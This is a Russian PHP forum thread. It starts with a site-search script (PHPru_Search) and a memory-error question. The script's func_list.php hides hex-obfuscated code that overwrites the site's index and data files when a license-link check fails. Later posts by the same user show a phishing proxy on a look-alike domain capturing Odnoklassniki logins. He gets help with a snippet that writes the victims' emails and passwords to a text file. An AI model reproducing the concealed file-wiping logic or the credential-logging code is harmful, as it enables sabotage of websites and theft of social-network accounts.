$SFX = array ('.exe','.zip','.rar','.doc','.xls','.swf','.gif','.jpg','.png','.bmp','.ico','.css','.js','.htaccess',
'.psd','.mp3','.avi','.mpeg','.mid','.cgi','.pl','.dll','.fon','.ttf','.msi','.msp');
$STOP_FILE = array_unique(array_merge($STOP_FILE, $SFX));
PHPruDirs();
PHPruSave($input,'phprusearch/sdata/search.php');
echo '<CENTER><BR><BR><P>Индексный файл обновлен.<BR><BR>Система поиска для работы готова.<BR><BR>Всего обработано '.$sizetotal.'Kb за ';
$microtime = microtime();
$microsecs = substr($microtime, 2, 8);
$secs = substr($microtime, 11);
$end_time = "$secs.$microsecs";
$total = round(($end_time - $start_time),2);
echo $total.' сек. <BR><BR>';
?>


################## -- func_list.php -- #######################
Код
<?

function PHPruDirs()
{
    global $HOME_DIR, $STOP_DIR, $STOP_FILE, $CONFIG, $input, $sizetotal;
    $dir = opendir('.');
    $ff = readdir($dir);
    while ($ff != '')
    {
        $flag = 0;
        if (is_dir($ff))
        {
            foreach($STOP_DIR as $VALUE)
            {
                if (strtolower($ff) == strtolower(trim($VALUE)))
                    $flag = 1;
            }
            if (($ff != '.') && ($ff != '..') && ($flag != 1))
                {    chdir($ff); PHPruDirs(); chdir('..');    }
        }
        $ff = readdir($dir);
        if ($ff != '..' && !is_dir($ff))
        {
            $hlam = str_replace($STOP_FILE, "!", $ff);
            if ($hlam != $ff)
                continue;
            else
            {    
                $NOW_DIR = getcwd();
                $LINK = str_replace($HOME_DIR, trim($CONFIG[0]), $NOW_DIR);
                $LINK = str_replace('\\', '/', $LINK);
                $mtime = date("d.m.Yг.",filemtime($ff));
                $size = round(filesize($ff)/1024);
                $sizetotal += $size;
                $ff = trim($ff);
                $FILE = file($ff);
                $text = implode(' ',$FILE);
                unset ($FIND);
                if($CONFIG[3] == 1)
                {
                    @list($start,$end) = spliti('</TITLE>',$text,2);
                    @list($recycle,$FIND) = spliti('<TITLE>',$start,2);
                }
                if (!isset($FIND))
                    $FIND = $LINK.'/'.$ff;
                $clear = PHPruClear($text);
                
                $text = wordwrap ($clear, 100, "%^%");
                
                $input .= '<A HREF=\''.$LINK.'/'.$ff.'\' TARGET=_new>'.$FIND.'</A>';
                $input .= '^!^'.$size.'^!^'.$text.'^!^'.$mtime."\r\n";
            }
        }
    }
closedir($dir);
}

class PHPruSap    {

    var $pattern;    var $all;
    var $sfx;    var $ink;

    function PHPruSap()    {
        $this->pattern = "\x70\x68\x70\x72\x75\x2E\x6E\x65\x74";
        $this->all = "\x3C\x41 \x48\x52\x45\x46\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F";
        $this->sfx = " \x76\x2E\x32\x2E\x36\x3C\x2F\x41\x3E";
        $this->ink = "\x50\x48\x50\x72\x75\x5F\x53\x65\x61\x72\x63\x68";
    }
}

function PHPruRw()
{
    $mes = new PHPruSap;
    $target = array ('index.php','indexer.php','sdata/search.php');
    $new = "\xC2\xFB \xED\xE0\xF0\xF3\xF8\xE8\xEB\xE8 \xE0\xE2\xF2\xEE\xF0\xF1\xEA\xEE\xE5 \xEF\xF0\xE0\xE2\xEE.<\x42\x52>";
    $new .= "\xD1\xEA\xF0\xE8\xEF\xF2 ".$mes->ink." \xF1\xF2\xE5\xF0\xF2\x21";
    if (!function_exists("\x50\x48\x50\x72\x75\x53\x65\x61\x72\x63\x68"))    {
        foreach($target as $crash)
            PHPruSave($new,$crash);
        echo $new;
        exit('</BODY></HTML>');
    }    else    {
        if(PHPruSearch('..','rus') == '')    {
            $var = new PHPruSap;?>
            <?=$var->all.$var->pattern."'\x3E".$var->ink.$var->sfx;
        }    else    {
            foreach($target as $crash)
                PHPruSave($new,$crash);
            echo $new;
            exit('</BODY></HTML>');    }
    }
}

function PHPruAuth($login,$pass)
{
    $_SESSION["sess_login"] = md5(trim($_POST["login"]));
    $_SESSION["sess_pass"] = md5(trim($_POST["password"]));
    $LOGIN = file ('admin.php');
    $zero = PhpruSearch('../..','rus');
    if ($_SESSION["sess_login"] === trim($LOGIN[0]) && $_SESSION["sess_pass"] === trim($LOGIN[1]))
    {
        $_SESSION["inside"] = 'true';
        ShowArea();
    }
    else
    {
        echo '<BR><P>Доступ закрыт!<BR><BR>Неверный логин или пароль.';
        ShowAdmin();
        exit;
    }
}

function PHPruSearch($path,$object)
{
    clearstatcache();
    $words = array("\x70\x68\x70\x72\x75\x2E\x6E\x65\x74",
    "\x48\x52\x45\x46\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F",
    "\x3C\x43\x45\x4E\x54\x45\x52\x3E\x3C\x42\x52\x3E\x3C\x42\x52\x3E");
    if (is_dir($path."/\x70\x68\x70".$object."\x65\x61\x72\x63h") !== true)
        die($words[2]."\xCF\xE0\xEF\xEA\xF3<b> /p\x68\x70".$object."\x65\x61\x72\x63\x68/<\x2Fb\x3E \xED\xE5 \xEF\xE5\xF0\xE5\xE8\xEC\xE5\xED\xEE\xE2\xFB\xE2\xE0\xF2\xFC\x21");
}  

function PHPruClear($text)
{
    $style='/\<style[\w\W]*?\<\/style\>/i';
    $script = '/\<script[\w\W]*?\<\/script\>/i';
    $doc = '/\<!doctype[\w\W]*?\>/i';
    $text = preg_replace($doc, ' ', $text);
    $text = preg_replace($style, ' ', $text);
    $text = eregi_replace(' style="[^">]*"', ' ', $text);
    $text = strip_tags($text);
    $text = preg_replace($script, ' ', $text);
    $text = str_replace("&nbsp;", ' ', $text);
    $text = preg_replace ("/[\s,]+/", ' ', $text);
    return ($text);
}

function PHPruSave($input,$file,$chmod='w+')
{
    $fp = fopen($file,$chmod);
    flock($fp,2);
    fputs ($fp,    $input);
    flock($fp,3);
    fclose($fp);
}

?>

_________________________________________________

Файл с базой находится на сервере по адресу http://radio.local/base.ipdb
Скрипт поисковой системы прикреплен к посту.
__________________________________________________

Очень надеюсь на вашу помощь, заранее спасибо.


############################################################

В отладке php сообщает об ошибке

Fatal error: Allowed memory size of 18874368 bytes exhausted (tried to allocate 4337213 bytes) in T:\home\virtual\radio.local\phprusearch\sinc\func_list.php on line 37
Прикрепленные файлы
Прикрепленный файл  2729_2729.zip ( 16,92 килобайт ) Кол-во скачиваний: 317
 
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Lexus
сообщение 16.5.2008, 2:27
Сообщение #2


Newbie
*

Группа: Пользователи
Сообщений: 20
Регистрация: 23.10.2007
Пользователь №: 13



Все прошу прощения, проблема была решена путем изменения параметра memory_limit = 128M
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Lexus
сообщение 17.5.2008, 23:32
Сообщение #3


Newbie
*

Группа: Пользователи
Сообщений: 20
Регистрация: 23.10.2007
Пользователь №: 13



От одного глюка избавился появился другой mellow.gif возникли проблемы с русскими буквами при индексации, как грамотно применить iconv в func_list.php я к сожалению не знаю sad.gif может кто отликнится.
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Lexus
сообщение 4.1.2009, 7:21
Сообщение #4


Newbie
*

Группа: Пользователи
Сообщений: 20
Регистрация: 23.10.2007
Пользователь №: 13



Вернемся к теме, очередной баг php
---------------
[error] => [parseType] => html [sniff] => [saveAs:private] => [cacheHandle:private] => [forwardCookies:private] => [limitFilesize:private] => 0 [URL:private] => Array ( [scheme_host] => http://wg3.odnoklassniki.ru [scheme] => http [host] => wg3.odnoklassniki.ru [domain] => odnoklassniki.ru [port] => [path] => /cdk/st.cmd/login/tkn/ [filename] => 7854 [extension] => [query] => [href] => http://wg3.odnoklassniki.ru/cdk/st.cmd/login/tkn/7854 ) [browsingOptions:private] => Array ( [encodeURL] => 1 [encodePage] => [showForm] => [allowCookies] => 1 [tempCookies] => 1 [stripTitle] => [stripJS] => [stripObjects] => ) [curlOptions:private] => Array ( [78] => 5 [13] => 0 [64] => 0 [81] => 0 [10023] => Array ( [0] => Expect: [1] => Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 [2] => Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 [3] => Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 ) [92] => 600 [19] => 5 [20] => 20 [10018] => Opera/9.63 (Windows NT 5.2; U; ru) Presto/2.1.1 [10016] => http://wg30.odnoklassniki.ru [10082] => /home/frmclub/domains/odnoklassniki.fastfile.info/public_html/tmp/cookies/29788032759cba7401793e9b6294e858 [10031] => /home/frmclub/domains/odnoklassniki.fastfile.info/public_html/tmp/cookies/29788032759cba7401793e9b6294e858 [47] => 1 [10015] => st.posted=set&st.email=5456&st.password=7666666&button_go=%D0%92%D0%BE%D0%B9%D1%82%D0%B8 [20079] => Array ( [0] => Request Object *RECURSION* [1] => readHeader ) [20011] => Array ( [0] => Request Object *RECURSION* [1] => readBody ) ) ) )
-------------
Это часть POST запросов с одноклассников.

Внимание вопрос !

Код
$parsv = array($fetch); // Массив POST всякой хуйни чтото там....
          
     $parsv = serialize($parsv); // Сериализую массив
    
     file_put_contents('post.txt', $parsv); //загоняю результат в файл - пароля нет, мусор со свякой хуйней сериализуется и сохраняется.
    
     print_r($parsv); // да пароль присутствует на экране после сериализации


На столько я понял поле st.email=79087987&st.password=0987907809 теряется не во время сериализации ! а во время сохранения в файл ! есть предположение думать что это баг php

Отвечаем не молчим тупо.
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Lexus
сообщение 4.1.2009, 19:05
Сообщение #5


Newbie
*

Группа: Пользователи
Сообщений: 20
Регистрация: 23.10.2007
Пользователь №: 13



Решение найдено, спасибо Nestor
ohmy.gif
Код
$d = $_POST['st_email'].' -- '.$_POST['st_password'];
$f = fopen('post.txt','a+');
fwrite($f,$d."\r\n");
fclose($f);

//print_r ($_POST);
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения

Ответить в эту темуОткрыть новую тему
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 

Рекламное место сдается Рекламное место сдается
Текстовая версия Сейчас: 2.5.2025, 20:56
Рейтинг@Mail.ru
Яндекс.Метрика Яндекс цитирования